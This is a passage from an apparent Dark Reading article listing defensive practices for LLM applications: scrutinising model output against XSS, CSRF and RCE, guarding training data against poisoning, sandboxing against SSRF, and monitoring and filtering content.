*   Output scrutiny is the rigorous handling and evaluation of the output generated by the LLM to mitigate vulnerabilities, like XSS, CSRF, and RCE. The process begins by validating and filtering the LLM's responses before accepting them for presentation or further processing. It incorporates techniques such as content validation, output encoding, and output escaping, all of which aim to identify and neutralize potential security risks in the generated content.
    
*   Safeguarding training data is essential to prevent training data poisoning. This involves enforcing strict access controls, employing encryption for data protection, maintaining data backups and version control, implementing data validation and anonymization, establishing comprehensive logging and monitoring, conducting regular audits, and providing employee training on data security. It's also important to verify the reliability of data sources and ensure secure storage and transmission practices.
    
*   Enforcing strict sandboxing policies and access controls can also help mitigate the risk of SSRF exploits in LLM operations. Techniques that can be applied here include sandbox isolation, access controls, whitelisting and/or blacklisting, request validation, network segmentation, content-type validation, and content inspection. Regular updates, comprehensive logging, and employee training are also key.
    
*   Continuous monitoring and content filtering can be integrated into the LLM's processing pipeline to detect and prevent harmful or inappropriate content, using keyword-based filtering, contextual analysis, machine-learning models, and customizable filters. Ethical guidelines and human moderation play key roles in maintaining responsible content generation, while continuous real-time monitoring, user feedback loops, and transparency ensure that any deviations from desired behavior are promptly addressed.
    

**About the Author(s)**

Dark Reading

The Edge is Dark Reading's home for features, threat data and in-depth perspectives on cybersecurity.

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